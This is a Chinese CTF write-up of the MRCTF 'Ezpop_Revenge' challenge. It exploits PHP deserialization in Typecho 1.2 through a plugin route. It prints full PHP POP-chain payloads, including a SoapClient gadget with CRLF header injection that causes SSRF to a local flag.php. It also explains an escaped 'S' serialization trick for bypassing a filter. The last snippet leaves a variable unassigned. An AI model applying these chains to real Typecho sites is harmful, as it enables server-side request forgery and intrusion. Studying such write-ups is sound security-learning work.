MRCTF Ezpop_Revenge小记

前言

一道typecho1.2的反序列化,顺便记录一下踩的坑

www.zip获得源码,结构大致如下
在这里插入图片描述
flag.php需要ssrf,如果成功会写入session
在这里插入图片描述
拿到源码直接去网上先找了一下有没有现成的payload(懒,
找到一篇类似的
https://p0sec.net/index.php/archives/114/
但是入口点是install.php,而源码里的install.php已经被删掉了,全局搜索一下:
在这里插入图片描述
路径为usr/plugins/HelloWorld/Plugin.php
在这里插入图片描述
很明显这里就是反序列化的点了,但是这里是一个方法不能直接利用,然后鸽了半天,后来才知道有个定义的路由==
typechoplugin.php下:

Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');

首先看到这里:
在这里插入图片描述
很明显的入口点,跟进Typecho_Db::__construct
在这里插入图片描述
然后这里有一个字符拼接,于是我就按照上面那文章的思路找__tostring (接下来是踩坑)

踩坑

在这里插入图片描述
Feed.php下的tostring的358行
在这里插入图片描述
并且跟不过去,那么就可以找__get
Request.php
在这里插入图片描述
跟进
在这里插入图片描述
跟进_applyFilter
在这里插入图片描述
value由this->_params['screenName']决定可控,$_filter也可控,rce??(嘴角疯狂上扬)
于是我构造了如下pop链:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Feed(),'world'=>'typecho_']);
        var_dump($this->coincidence);
    }
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Feed
{
    private $_type = 'ATOM 1.0';
    private $_charset = 'UTF-8';
    private $_lang = 'zh';
    private $_items = array();
    public function __construct(){
        $this->_items=array('author' => new Typecho_Request());
    }
}
class Typecho_Request{
    private $_filter=array();
    private $_params=array();
    public function __construct()
    {
        $this->_params['screenName'] = -1;
        $this->_filter = array('phpinfo');
    }
}
$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

然而这里函数过滤实在太多了,命令执行的函数几乎全过滤了,然后我就一直试,比赛结束也没试出来...(这个pop链貌似适用typecho1.1版本)

麻烦的解法(踩坑二)

后来我突然想到要是能rce为什么还有ssrf读flag....
好吧其实一开始__tostring我就找错了,应该找query.php这个跳板
在这里插入图片描述
可以看到如果$this->_sqlPreBuild['action']=SELECT就调用:

$this->_adapter->parseSelect($this->_sqlPreBuild)

然后令$this->_adapter为Soapclient实例,触发_call完成ssrf
调用链:
HelloWorld_DB::wakeup-->
Typecho_Db::__construct(tostring)-->
Typecho_Db_Query::__construct-->
(this->_adapter=new Soapclient)-->
ssrf

然后又是一个坑:
这里的成员变量大部分都是private的,而private有不可见字符需要用%00填充,而这里%是被过滤的:
在这里插入图片描述
然后就需要用0来代替%00

这里有个知识点吧,以前没碰到过:

在 PHP5 最新的 CVS 中,
新的序列化方式叫做 escaped binary string 方式,这是相对与普通那种 non-escaped binary string 方式来说的:
string 型数据(字符串)新的序列化格式为:
S:"<length>":"<value>";
其中 <length> 是源字符串的长度,而非 <value> 的长度。<length> 是非负整数,数字前可以带有正号(+)。<value> 为经过转义之后的字符串。
它的转义编码很简单,对于 ASCII 码小于 128 的字符(但不包括 ),按照单个字节写入(与 s 标识的相同),对于 128~255 的字符和 字符,则将其 ASCII 码值转化为 16 进制编码的字符串,以 作为开头,后面两个字节分别是这个字符的 16 进制编码,顺序按照由高位到低位排列,也就是第 8-5 位所对应的16进制数字字符(abcdef 这几个字母是小写)作为第一个字节,第 4-1 位作为第二个字节。依次编码下来,得到的就是 <value> 的内容了。

普通的序列化小s对应的就是普通的字符串,如s:3:"%00a%00";
而序列化的大S则对应的是加上16进制,如S:2:"0a0";
看个例子
在这里插入图片描述
将不可见字符%00转化为十六进制,大S成功执行wakeup
在这里插入图片描述
小写s则失败
在这里插入图片描述
然后这里就需要将%统统转化为,然后将标识字符串的s转化为S,这里用了颖奇师傅的方法:https://www.gem-love.com/ctf/2184.html#Ezpop_Revenge

function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}

将字符串以:冒号打散为数组,然后遍历用$arr[$i]匹配每个00,如果$arr[$i-2]中有小s就替换为S,然后以:拼接,看下面这个例子就懂了
在这里插入图片描述
最终payload:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "
",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }


}
function decorate($str)
{
    $arr = explode(':', $str);
    $newstr = '';
    for ($i = 0; $i < count($arr); $i++) {
        if (preg_match('/00/', $arr[$i])) {
            $arr[$i-2] = preg_replace('/s/', "S", $arr[$i-2]);
        }
    }
    $i = 0;
    for (; $i < count($arr) - 1; $i++) {
        $newstr .= $arr[$i];
        $newstr .= ":";
    }
    $newstr .= $arr[$i];
    return $newstr;
}
$a=serialize(new HelloWorld_DB());
$a = urlencode($a);
$a = preg_replace('/%00/', '%5c%30%30', $a);
$a = decorate(urldecode($a));
echo base64_encode($a);

加上一个?admin=1即可
在这里插入图片描述

正解

我又傻了,这里的serialize会进行base64编码,然而解码出来是这样的:
在这里插入图片描述
根本就没有%号啊,那就不用替换了,所以直接:

<?php
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=(['hello'=>new Typecho_Db_Query(),'world'=>'typecho_']);
    }
}
class Typecho_Db
{
    public function __construct($adapterName, $prefix = 'typecho_')
    {
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;
    }
}
class Typecho_Db_Query
{
    private $_sqlPreBuild;
    private $_adapter;
    public function __construct(){
        $this->_sqlPreBuild['action']='SELECT';
        $target = "http://127.0.0.1/flag.php";
        $headers = array(
    'Cookie: PHPSESSID=ardpjpq1hqbu1nn6bhm2pc51v6',
);
        $this->_adapter=new SoapClient(
            null,
            array('location' => $target,
                'user_agent'=>str_replace('^^', "
",'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers)),'uri'=>'hello'));
    }

}
serialize(new HelloWorld_DB());
echo base64_encode($a);

在这里插入图片描述

原文地址:https://www.cnblogs.com/W4nder/p/12596114.html